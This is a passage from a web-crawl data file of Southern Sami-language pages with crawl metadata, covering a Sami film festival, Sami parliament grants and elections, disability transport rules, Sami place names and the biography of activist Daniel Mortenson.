jïh dah leah guhkiem ussjedamme fïerhen jaepien maam-joem darjodh.\nStig Eebre Somby tuhtjie lea öövre vihkeles saemien filmh-festivaale utnedh:\n-Voestegh lea vihkeles juktie lea dan vaenie råakedimmiesijjieh saemide. Dan åvteste gaajh vihkeles festivaalh jïh jeatjah areenah stealladidh. Daate aaj lea vihkeles juktie tjoerebe jallh daarpesjibie mijjen histovrijem orrestidh jallh ikth vielie tjaeledh, juktie ibie mijjieh daam tjaaleme. Daate saemien filmh-festivaale lea vuekie gumhtie maehtebe aaj mijjen histovrijen bïjre soptsestidh jïh vuesiehtidh mijjieh ennje daesnie.\n-Juktie lea naa jïjnjh histovrije mijjen dajveste mij ij leah ennje filmen tjïrrh soptsestovveme. Sïjhtem aaj mijjen åarjelsaemien dajvem jïh kultuvrem filmen tjïrrh vuesiehtidh.\nStig Eebre jeahta vihkeles noerh motiveradidh aelkedh filmigujmie barkedh. Dïhte jeahta gååvnese gellieh noerh mah leah dorjehtæjjine barkeme, vuesiehtimmien gaavhtan, maanajtv'esne jïh saemien vïrre-filmesne.\nSaemien filmh-festivaale aaj edtja akte workshoppe noereskuvle-learohkidie öörnedh. Dïhte edtja dam gïelevåhkosne årrodh göökte våhkoeh festivaalen åvtelen. Dellie göökte filmh-instruktøvrh edtjijægan båetedh jïh noeride viehkiehtidh. Dah leah aaj åådtjeme jïjnjh dïrregh löönedh jïh ovmessieh kamerah mejtie dah learohkh maehtieh utnedh. Jïh dah edtjieh dam filmem dennie workshoppesne «premiere-showine» saemien filmh-festivaalesne vuesiehtidh.\nSaemien filmh-feestivaale aaj åtna aktem programme maanide. Laavadahken dellie sjædta dagkeres aereds-beapmoe gusnie maanah jïh eejtegh maehtieh båetedh byöpmedidh jïh dan mænngan filmide vuartasjidh.\nMinngemosth Stig Eebre jeahta gååvnese vielie informasjovne dovne Facebook-sæjrosne jïh aaj Raasten Rastah viermiesæjrosne. Jeahta dïsse filmh-festivaalese aavode jïh hååhkesje luste sjædta.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/rorosnytt.no\/stig-eebre-aavode-filmh-festivaale-stealladidh\/","date":"2019-10-20T07:29:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986703625.46\/warc\/CC-MAIN-20191020053545-20191020081045-00303.warc.gz","language":"sma","language_score":1.0000039339,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000039339065552}","num_words":301,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.173,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien Parlamentarihkeles Raerie (SPR), mij lea dej golme Saemiedigkiej laavenjostoeårgaane, lea Saemien raasteheaptoemoenehtsem nammoehtamme. Moenehtsen barkoe lea raasteheaptoeh damtijidh mah laavenjostoem jïh ektievuekiem geerve darjoeh saemiej gaskemsh staateraasti ovmessie bieline, jïh haestemh sjugniedieh almetjidie, fuelhkide, siebride, institusjovnide jallh dejtie mah jielieminie gïehtelieh.\nDov jallh dov siebrien jallh barkoesijjien leah dååjrehtsh mej bïjre moenehtse byöroe daejredh? Gaskesadth mijjem jïh tjaelieh diekie firstname.lastname@example.org jïh mïerhkh meejlem «Saemien raasteheaptoemoenehtse». Tjaelieh maaje buerkiestimmiem dov haestemigujmie. Moenehtse gamte goerkesem sæjhta dejstie haestiemijstie raasth Saapman sjugniedieh. Moenehtse sæjhta dov åssjalommesh åadtjodh voerhtjen 15. b. raajan.\nSåemies teemah mah leah sjyöhtehke moenehtsasse:\n- Barkoe – gosse staateraastem restede gosse edtja barkosne mïnnedh\n- Staateårrojevoete – haestemh almetjidie jïh fuelhkide gosse jieniebinie laantine årroeh\n- Skuvle – maadthskuvlelaavenjostoe raastedajvine\n- Jillebe ööhpehtimmie – ektie saemien studijh jïh studeentejielede\n- Healsoe – faalenasse raastedajvine jïh ektie faalenassh\n- Duedtie – maarhkededoekeme jïh kultuvre – kultuvrebarkoe jïh doekeme raasten mubpene bielesne\n- Båatsoe raastedajvine- juvrepolitihke, aaj maaksoegyhtjelassh, kreekedåakteregïehtjedimmie jnv. (moenehtse ij sïjhth gyhtjelassh gåatomen bïjre vuarjasjidh)\n- Prosjektestuvreme – Dåarjoeöörnegh jïh ektie prosjekth\nMoenehtsen lïhtsegh leah:\nRunar Myrnes Balto, moenehtsen åvtehke (nöörjen bielie)\nAnders Kråik (sveerjen bielie)\nUlla Magga (såevmien bielie)","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/Staateraasth-heaptojne-orreme","date":"2020-02-25T13:00:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146066.89\/warc\/CC-MAIN-20200225110721-20200225140721-00375.warc.gz","language":"sma","language_score":0.999989748,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999897480010986}","num_words":174,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.149,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Feelemedïenesje\nFeelemedïenesje\nFeelemedïenesje lea råajvarimmie 7 § Lag om färdtjänst mietie jïh almetjh dan funksjovneheaptojne maehtieh ohtsedidh. Dah almetjh gïeh ij buektehth kollektijve skovhtine vuelkedh vg bussine.\nOhtsije edtja tjïeltesne tjaalasovveme.\nÅådtje feelemedïenesjinie tjïelten sisnie feeledh. Feelemedïenesjem nuhtjie privaate feelemidie v.g. åesiestidh, baanghkeieride, apoteekese jallh guessiedidh. Ij åadtjoeh feelemedïenesjem nuhtjedh skïemtjefeelemidie.\nDatne ohtsemem viehkievuarjasjæjjese seedth gie goerehte jis datne feelemedïenesjem åadtjoeh. Daamhtaj guessine båata hïejmesne jïh muvhtene dåakteren vïhtesjimmiem kreava. Feelemedïenesjeluhpie lea daamhtaj tïjjegaertjiedamme jïh gosse mahte orreje åadtjoeh datne viehkievuarjasjæjjam gaskesadtedh jïh dam orrestidh. Sjæjsjalimmie feelemedïenesjen bïjre ohtsijasse seedtie jïh jis ij daam åadtjoeh maahta reeremedåapmoestovlese laejhtedh. Gaajhkh bïevnesh jïh tjaatsegh mah våarome sjæjsjalæmman feelemedïenesjen bïjre leah sjeavehthvoeten sisnie jïh ij åadtjoeh dejtie vedtedh gies'akt.\nFeelemedïenesjen njoelkedassh jïh daaletje taksam seedtie gaajhkide gïeh åadtjoeh feelemedïenesjem voestes aejkien. Dah aaj åadtjoeh viskes plaastekåarhtem telefovnenummerinie Reseservicen gåajkoe.\nFeelemedïenesjen maaksoe lea Länstrafiken taksan mietie 18 kr lissine.\nRïjhkefeelemedïenesje\nRïjhkefeelemedïenesje lea feelemenuepie Sveerjesne mij tjïelten ålkoelisnie jïh nuepiem vedtedh almetjidie stoerre svihtjemeheaptojne eah daarpesjh maeksedh jienebh dej feelemen åvteste enn mubpieh.\nRïjhkefeelemedïenesje voestes iereste vadtasåvva:\naelpemes skovhtine, tååge mubpien klaassesne\nbusse jïh girtie dåeriedæjjine\nTaksie jallh sjïereskovhtine\nDaate krööhkeste dov funksjovneheaptose\nRïjhkefeelemedïenesjem tjaaleldh ohtsede jïh fïere guhte feelemen åvteste.\nOhtseme tjuara Sjeltiej tjïelten gåajkoe båetedh, minngemes 14 biejjieh åvtelen datne edtjh vuelkedh.\nOhtsemegoere gååvnese Sjeltien tjïelten hïejmesæjrosne","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/asele.se\/saepmie\/hokse-viehkie-j%C3%AFh-daarjoe\/feelemed%C3%AFenesje\/","date":"2020-04-05T23:22:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371611051.77\/warc\/CC-MAIN-20200405213008-20200406003508-00359.warc.gz","language":"sma","language_score":1.0000038147,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000038146972656}","num_words":210,"character_repetition_ratio":0.106,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.095,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"DANIEL MORTENSON\n\"Benyt eders ret. Skal vi faa utrettet noget i vor korte tilværelse til forbedring av vore kaar, vore barns og efterslegtens livsvilkaar, saa er det bare én vei: sammenslutningens.\"\nWaren Sardne, 26. mars 1910\nSov tjïelke jïh nænnoes eadtjohkevoetine Daniel Mortenson (1860–1924) lij akte tjoevtenjealmetje gosse åarjelsaemien ïedtjesiebrieh tseegkesovvin 1900-låhkoen aalkoelisnie. Dïhte lij aaj akte vihkeles aktööre rijhketjåanghkoen 1917 åvtelen jïh mænngan. Daniel Mortenson lij lohkehtæjja, båatsoesaemie, plaerieredaktööre jïh siebrieålma.\nMortenson lohkehtæjjaööhpehtimmiem veelti jïh lohkehtæjjine saemien maanide barki. Jaepien 1900 Tolgen dajvese juhti, daan biejjien Svahken sïjte, Elgåesne. Mortenson varke akte vihkeles almetji sjïdti mij saemien ïedtji åvteste soptsesti, akten tïjjen gosse laakejarkelimmieh jïh reerije vuajnoeh stoerre dåeriesmoerh båatsoesaemide sjugniedin. Doh gellie reakta-aamhtesh gåatomelaanten jïh maaksoekrïevenassi bïjre dej aerviedamme gåatomeskaaraj åvteste Røros-saemien dajvesne lin krïevije.\nJaepien 1907 saemien siebrieh tseegkesovvin Åarjel-Trööndelagesne jïh Helgelaantesne, jïh 1908 dïhte saemien siebrie Nordre Trondhjems Amts Lappeforening tseegkesovvi. Mortenson lij tjarke meatan daennie barkosne. Dïhte lij tjåanghkoeåvtehke dennie voestes saemien rijhketjåanghkosne Tråantesne 1917, jïh håalomem höölti daerpiesvoeten bïjre akten orre jïh rïektes båatsoelaakese. Dïhte åvtehkinie veeljesovvi akten jïjtse moenehtsasse mij aktem laakeraeriestimmiem böökti 1919 – Lov om lapperne og rendriften (Laake saemiej jïh båatsoen bïjre). Nöörjen åejvieladtjh daam raeriestimmiem sæjjan bïejin.\nDaniel Mortenson lij tjirkijinie åarjelsaemien båatsoesaemiej åvteste gellene ektiedimmesne – aaj gånkan jïh staateministeren luvnie. Akte vihkeles årgaane gæmhposne saemien reaktaj åvteste lij plaerie Waren Sardne maam Mortenson bæjhkoehti 1910–13 jïh 1922–24. Altese stoerre eadtjohkevoeten åvteste dle Røros-saemien dajve akte vihkeles sijjie sjïdti båatsoepolitihken barkosne.\nDaniel Mortensonen stoerre barkoe, jaahkoe båetijen aajkan jïh ïedtje lin akte skraejrie juktie jåerhkedh barkedh juktie Røros-saemiej jieliemassem jïh kultuvrem gorredidh.\nJienebh hijven faamoeh\nJienebh Røros-saemien dajvesne mah lin eadtjohke meatan gæmhposne saemiej reaktaj åvteste. Martin Jonassen Haltdaleste lij akte dejstie. Gosse dïhte saemien siebrie Søndre Trondhjems amts lappeforening tseegkesovvi 1907, Jonassen siebrien åvtehkinie sjïdti. Dïhte lij meatan göökte saadthalmetjedåehkine mah gånkam Haakon VII gaavnesjin, jïh saemiej jïh båatsoen aamhtesen åvteste soptsesti. Voestes aejkien 1906, Ole Thomasseninie ektine, jïh dan mænngan 1908 ålmajgujmie Daniel Mortenson jïh John Eliassen Boere Hillaanteste.\nSaemieh vööjnin lij daerpies jïjtsh histovrijem vihtiestidh. Gærjavierhkie golme bieline, Saemiej histovrije, (Samenes historie), maam Henrik Kvandahl lij tjaaleme, bæjhkoehtamme sjïdti 1925–1947. Martin Jonassen lij voestes gærjan bertije, Nils A. Thomasson, Nils Stinnerbom, jïh Martin Jonassen dan måbpan.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/rorosmuseet.no\/daniel-mortenson","date":"2020-05-28T05:10:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347396495.25\/warc\/CC-MAIN-20200528030851-20200528060851-00417.warc.gz","language":"sma","language_score":0.9998383522,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9998383522033691}","num_words":354,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.116,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Stipende\nSaemiedigkie gïeleskreejremestipendem vadta learoehkidie jåarhkeskuvlesne mej saemien goh faage jåarhkeskuvlesne.Koronavijrusen gaavhtan ohtsememieriem stipendese guhkiedibie suehpeden 22. b. 2020 raajan.\nStipende jollebe ööhpehtæmman julevsaemien jallh åarjelsaemien gïelesne, jïh saemien gïeleööhpehtimmie studentide maarkasaemien dajveste\nSaemiedigkie stipendem vadta studentide mah jollebe ööhpehtimmiem julevsaemien jallh åarjelsaemien gïelesne vaeltieh, jïh studentide maarkasaemien dajveste mah saemien gïeleööhpehtimmiem vaeltieh.Koronavijrusen gaavhtan ohtsememieriem stipendese guhkiedibie voerhtjen 30. b. 2020 raajan.\nDåarjoe\nSaemiedigkie dåarjoem vadta saemien maanagïertide jïh saemien goevtesidie nöörjen maanagïertine mah saemien kultuvrem jïh gïelem våaroeminie utnieh.OBS! Søknadsfrist er endret til 15.05.2020.\nSaemiedigkie dåarjoem vadta maanagïertide mah eadtjohkelaakan berkieh saemien gïelh maanagïertesne nænnoestehtedh jïh evtiedidh.\nSaemiedigkie dåarjoem vadta evtiedæmman pedagogeles ïebnijste maanagïertide.\nSaemien fealadasse lea tjïelkestamme goh fealadasse gusnie saemien kultuvrebiehkieh leah akte vihkeles bielie gïehtelimmeste\nSaemien kultuvrejielemh leah tjïelkestamme goh sïelth jïh jeatjah aktöörh mah darjoeh jïh duekieh kultuvrelle dorjesh goh vaaroeh jallh dïenesjh.\nFormålet med tilskuddsordningen er å sikre det finansielle grunnlaget til organisasjonene til partier og grupper som er representert i Sametinget.\nFor å være kvalifisert til å søke om driftstilskudd og søke om velferdsordninger, må du være registrert i duodjiregistret.\nSaemiedigkie maahta gïehtelimsdåarjoem vedtedh aktegsaajhteresïeltide jïh aktsijesïeltide mah leah tjaalasovveme duedtieregisterisne.\nSametinget gir tilskudd til utvikling av ordinære og særskilt tilrettelagte læremidler til grunnopplæringen.OBS! Søknadsfristen er forlenget til 18.5.2020. Selv om det i regelverket står en annen søknadsfrist, så er det 18.5.2020 som er gjeldende søknadsfrist.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/saemiedigkie.no\/Daaarjoe-jih-stipende?page=1","date":"2020-05-26T04:11:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347390442.29\/warc\/CC-MAIN-20200526015239-20200526045239-00009.warc.gz","language":"sma","language_score":0.9986219406,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.998621940612793}","num_words":216,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.134,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien gïele akte veartenen aalkoe-åålmegi gïelijste. Saemien gïele, kultuvre jïh siebriedahke lea vaarjelamme nasjonaale laakine jïh gaske-nasjonaale konvensjovnine.\nNöörjen Stoeredigkie jaepien 1988 Maadth-laakese lissiem nænnoesti juktie staaten dïedte saemien åålmege maehtieh jïjtse gïelem, kultuvrem jïh siebriedahkem gorredidh jïh evtiedidh. Jaepien 1987 sjïere saemie-laakem nænnoesti. Daate laake Saemiedigkien bïjre jïh jeatjah saemien reaktaj bïjre. Saemie-laaken sjïere gïele-njoelkedassh mah nænnoestieh saemien-gïelen reereme-dajven bïjre, ööhpehtimmie-reaktaj bïjre, dovne reaktah jeatjah nasjonaale laaki mietie. Saemien reaktah aaj vaarjelamme gaske-nasjonaale konvensjovni mietie mejtie Nöörjen staate leah bæjhkoehtamme.","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181933\/topic:1:179502\/topic:1:187267","date":"2020-07-14T16:20:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655897168.4\/warc\/CC-MAIN-20200714145953-20200714175953-00354.warc.gz","language":"sma","language_score":1.0000058413,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.000005841255188}","num_words":79,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.241,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Båetije våhkoen, rahkan 25.biejjien måantan ts. 19.00, Meerke Krihke Leine Bientie Tråanten gærjagåatan (Trondheim Folkebibliotek) båata. Satne edtja sov vaajmoegïelen jïh gærjan «Joekoen sjïehteles ryöjnesjæjja» bïjre håalodh.\nBåetieh Tråanten gærjagåatan (Trondheim Folkebibliotek) jïh goltelh Meerke sov vaajmoegïelen bïjre soptsestidh. Maahtah vielie daan bïjre Tråanten gærjagåetien facebook-sæjrosne lohkedh.\nIh tjoerh leahpam maeksedh.\nBuerie båeteme!","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/saernieh.no\/mov-vaajmoegiele-baalka-raejkiem-vaedtsieminie\/","date":"2020-07-03T18:57:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655882934.6\/warc\/CC-MAIN-20200703184459-20200703214459-00202.warc.gz","language":"sma","language_score":0.9999425411,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999425411224365}","num_words":52,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Digkiedimmie-lahtese akte åenehks argumentereles tjaalege. Mijjieh digkiedimmie-lahtesisnie mijjen vuajnoej mietie argumenteradibie juktie lohkije edtja gïelehtovvedh. Digkiedimmie-lahtesh ovmessie meedijinie gååvnesieh vuesiehtimmien gaavhtan plaerine, våhkoe-plaerine jïh nedte-sæjrojne.\nVuesiehtimmie\nDaan biejjien jïjnjh noerh skuvlen baalte berkieh, vuesiehtimmien gaavhtan skuvle-tïjjen mænngan, hïeljine jallh giesegi. Dah gaajhke såarhts barkoeh darjoeh - maanah suvhtieh, barkeminie bensijne-stasjovnine, beapmoe- jïh vaarjoe-bovrine jallh dagke skïemtje-hïejmine.\nNaemhtie Sööfe dan bïjre tjaaleme:\nJïjtje aaj barkoem åtnam skuvlen baalte jïh dejnie hijvenlaakan tråjjedem. Mov vuajnoen mietie gujht jïjnjh hijven aevhkieh dagkeres lissie-barkoem utnedh. Uvtemes dle beetnegh dïenesjh guktie maahtah såemies aath åestedh mej mietie heeledh. Joekoen hijven slyöhpedh fïerhten aejkien eejhtegidie gihtjedh beetnegi mietie.\nGuktie digkiedimmie-lahtesem tjaeledh?\nGosse edtjh digkiedimmie-lahtesem tjaeledh dellie hijven vïjhteboelhke-vuekiem nuhtjedh. Voestegh aalkoem tjaalah gusnie soptsesh ånnetji man bïjre ussjedamme tjaeledh. Dellie åejvie-boelhkem tjaalah gusnie edtjh golme argumenth utnedh. Minngemes dellie galhkuvem tjaalah. Galhkuvisnie konklusjovnem jallh åenehks iktiedimmiem tjaalegistie tjaalah.\nGosse edtjh digkiedimmie-lahtesem tjaeledh dellie hijven maallen mietie tjaeldh. Diedtieh jïh lohkh digkiedimmie-lahtesem Barkedh skuvlen bealese? Jaavoe gæjhtoe! Daam digkiedimmie-lahtesem hijven maalline nuhtjedh gosse edtjh tjaeledh.\nAamhtese-tjaaleghKjernestoff\nVïjhteboelhke-vuekien bïjreKjernestoff\nKååserijeKjernestoff\nFaage-tjaalegeKjernestoff\nTjåanghkoeKjernestoff\nByjjes prievieKjernestoff\nNaemhtie byjjes prievie maahta vååjnedhKjernestoff\nGuktie e-påastem tjaeledhKjernestoff\nKååserije jïh petiteKjernestoff\nLohkije-tjaalegeKjernestoff\nAkte hijven maadth-bïhkedasseKjernestoff\nGïeleviehkie-dïrregh lohkije-tjaaleginieKjernestoff","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/ndla.no\/nb\/subjects\/subject:15\/topic:1:175119\/topic:1:173412\/resource:1:173114","date":"2020-08-09T06:16:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738425.43\/warc\/CC-MAIN-20200809043422-20200809073422-00293.warc.gz","language":"sma","language_score":0.99999547,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999954700469971}","num_words":192,"character_repetition_ratio":0.108,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.052,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gieries NSR-lihtsegh! 2019 libie vuajneme daerpies NSR:ine jïh saemiesiebriejgujmie.\nGosse lea stadtjoe saemiej gyhtjelassi bïjre, dellie Saepmie aktem siebriem daarpesje mij stuvrie jïh lea tjyölkehke jïh rïekte rudtjine saemien ïedtjh voebnesje. Daate siebrie lea NSR, jïh goh lïhtsege datne leah meatan dennie åajvoeh stoerre aktivyöki barkosne maam mijjieh ektesne darjobe juktie saemien gïelem, kultuvrem, jielemh jïh identiteetem eevtjedh jïh voebnesjidh.\nSaemiesiebrieh, mah tjåanghkan leah NSR, leah aktivyöki barkoen motovre jïh gaajh åajvoeh barkoem darjoeh. 2019 libie vuesiehtimmien gaavhtan dovne Bergen jïh Romsan saemiesiebrieh heevehtamme 50 jaepieh barkojne. Bergenisnie dam aavoedin kultuvreöörnedimmiejgujmie abpe staarese. Kárašjoga sámiid searvi lea dåarjoem åådtjeme sov krïevenassesne Finnmarhkekommisjovnese gusnie tjåådtje årrojh Karasjohkesne ektesne FeFo-dajvem Karasjohkesne eekieh.\nMijjieh daejrebe jis ibie mijjen saemiesiebrieh lin desnie orreme jïh barkoem dorjeme abpe laantesne dellie ibie nuepiem åtneme voenges illedahkh jïh positijve evtiedimmiem buektiehtidh. Saemien gaavnedimmiesijjieh tseegkesuvvieh. Tjïelth jiehtieh sijjieh sijhtieh meatan årrodh saemien gïelen reeremedajvesne goh akte illedahke NSR-siebriej barkoste, guktie orre Tjeldsunden tjïelte dorje mænngan Iinná ja Biras sámiid searvi dejnie barkeme 20 jaepieh. Jïh Altan tjïelte mij daelie laavenjostoelatjkoem Saemiedigkine åådtjeme mænngan goh Álttá sámiid searvi dejnie gellie jaepieh barkeme.\nJaepien 2019 libie göökte orre voenges siebrieh åådtjeme. Buerie båeteme Tråanten dajven saemien seabran Tråantesne, mij viehkehte saemien faalenassh staaresne tseegkedh, jïh buerie båeteme Láhppi sámiid searvise mij viehkehte dejnie mearoesaemien jieliehtimmine Loppan tjïeltesne Jillie-Finnmarhkesne. Gåabpegh siebrieh sijjen vihkeles barkoem dorje aktene garmeres NSR-aerpievuekesne!\nGieries NSR-lïhtsegh, mijjen barkoen tjïrrh Saemiedigkesne libie jïjnjem buektiehtamme mij sæjhta stoerre vihkelesvoetem utnedh båetijen aejkien. Sïjhtebe sjïerelaakan gïelem jïh skuvlem neebnedh, akten hijven tjïrrehtamme saemien gïelejaepien mænngan. Orre learoesoejkesjh, orre skraejrie learoevierhtiesuerkesne, ööhpehtimmie lohkehtæjjijste saemien gïelesne jïh orre råajvarimmieh saemien lidteratuvresne sijhtieh stoerre vihkelesvoetem utnedh dovne maanide jïh noeride jïh gïeli evtiedimmien gaavhtan dej båetiji jaepiej.\n2020 edtjebe aaj krïevije aamhtesigujmie barkedh goh Nussir, bïegkefaamoe, konsultasjovnelaake jïh goerehtalleme saemien reaktijste, jïh mijjieh edtjebe veeljemasse ryöjredidh 2021. Mijjieh akte onne siebrie smaave ekonomeles vierhtiejgujmie, men læjhkan jïjnjem buektiehtibie gelline daltesinie.\nJïjnjh gæjhtoeh fïereguhtese dan barkoen åvteste jaepien 2019. Slaajperdidie hijvenlaakan jåvli guktie dijjieh orre faamoem badterijide vedtede. Lahkoe jåvlh jïh buerie orre jaepie gaajhkesidie!\nJïjnjh jåvhlheelsegh Runar Myrnes Balto (åvtehke), Saia Stueng (1. mubpieåvtehke), Vidar Andersen (2. mubpieåvtehke)","id":"","dump":"CC-MAIN-2020-34","url":"http:\/\/nsr.no\/blog\/2019\/12\/23\/javleheelsegh-nsren-aejvijste\/?lang=sma","date":"2020-08-09T13:48:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738555.33\/warc\/CC-MAIN-20200809132747-20200809162747-00286.warc.gz","language":"sma","language_score":0.9999917746,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.999991774559021}","num_words":345,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Båarasåbpoe saemien sijjienommh leah immaterijelle kultuvremojhtesh. Saemien sijjienommh våajnoes darjodh kaarhtine, registerinie jïh tsïegline lea dan åvteste joekoen vihkele, dovne hijven kultuvrevaarjelimmien gaavhtan, vuesiehtidh saemieh desnie hööllestamme jïh saemien gïelem våajnoes darjodh, jïh gellien aejkien aaj siebriedahken jearsoevoeten gaavhtan. Tsïeglesjimmie saemien sijjienommijste tjïelkeste gubpede almetjh båetieh, vuesehte saemieh sæjjan govlesuvvieh, sijjienommh kultuvremojhtesinie vaarjele jïh åssjaldahkide stuvrie saemien histovrijasse mij leah sæjjan ektiedamme.\nDaaroedehtemepolitihken gaavhtan saemien sijjienommh nöörjen gïelese jarkoesti. Illedahke sjïdti nöörjen sijjienommh mah eah leah vïedteldihkie voenges åtnose jallh aerpievuakan. Saemien sijjienommh leah tjarke vïedteldihkie almetji jïjtsh identiteetese, jïh saemien symbovline vååjnoeh.\nDan åvteste vihkeles saemien sijjienommh tjöönghkedh, registreradidh jïh jååhkesjidh gaajhkine dajvine gusnie saemien sijjienommh åtnasuvvieh jïh leah åtnasovveme. Saemiedigkien sijjienommedïenesje saemien sijjienommh reerie sijjienommelaaken mietie, jïh raereste guktie saemien sijjienommh tjaalasuvvieh. Saemiedigkien sijjienommedïenesje maahta aaj nommeaamhtesigujmie nïerhkedh jïh tjaelemen jïh åtnoen bïjre raeriestidh saemien sijjienommi bïjre. Saemiedigkien lea dåarjoeöörnege juktie saemien sijjienommh sïjse tjöönghkedh, sijjien nuelesne gïeleprosjekth.\nGaajhkh sijjienommh Nöörjesne nedtesæjrose Norgeskart bïejesuvvieh, gusnie maahta vuejnedh mah nommh mah jååhkesjimmiem utnieh byögkeles åtnose.\nStatens kartverk","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/sametinget.no\/giele\/saemien-sijjienommh\/","date":"2020-10-30T16:01:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107911027.72\/warc\/CC-MAIN-20201030153002-20201030183002-00497.warc.gz","language":"sma","language_score":0.9999978542,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999978542327881}","num_words":168,"character_repetition_ratio":0.137,"word_repetition_ratio":0.0,"special_characters_ratio":0.118,"stopwords_ratio":0.226,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jearohke dov daerpiesvoetijste maahtah dam åadtjodh dov healsoejarngeste jallh skïemtjegåeteste, dov tjïelteste jallh regijovnen sjïere darjoemistie.\nJeenjemes råajvarimmiej åvteste edtjh dov tjïelten luvniesyökedh. Laantedigkie dïedtem åtna raeriestidh jïh aajnealmetjem dåarjedidh.\nDatne råajvarimmiej åvteste syökoe Laaken mietie mij dåarjoehtimmien jïh hoksen bïjre, LSS. Jis 15 jaepien nuerebe jallh ihmaehtieh jïjtje syökedh maahta viehkiem åadtjodh almetjistie gie maahta dov sijjeste årrodh.\nDïhte LSS-gïetedallije Västerbetnesne tellefovnenommerem 090-785 71 31 åtna.","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/www.1177.se\/sma-se\/Vasterbotten\/other-languages\/other-languages\/regler-och-rattigheter---andra-sprak\/funktionsnedsattning-och-funktionshinder---andra-sprak---vasterbotten\/","date":"2021-05-18T23:15:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243989874.84\/warc\/CC-MAIN-20210518222121-20210519012121-00440.warc.gz","language":"sma","language_score":1.0000002384,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.000000238418579}","num_words":63,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.048,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie barka ihke saemieh edtjieh åadtjoeh sijjen gïelem, sijjen kultuvrem jïh sijjen siebriedahkejieledem gorredidh jïh evtiedidh.\nSaemiedigkieveeljeme seamma boelhken goh stoerredigkieveeljeme. Jaepien 2021 lea veeljemebiejjie måanta skïereden 13.b. Åvtelhbodti jïenestimmie mïetsken 10.b. raejeste skïereden 10.b. raajan.\nDaan giesien guessieh Saemiedægkan maehtieh 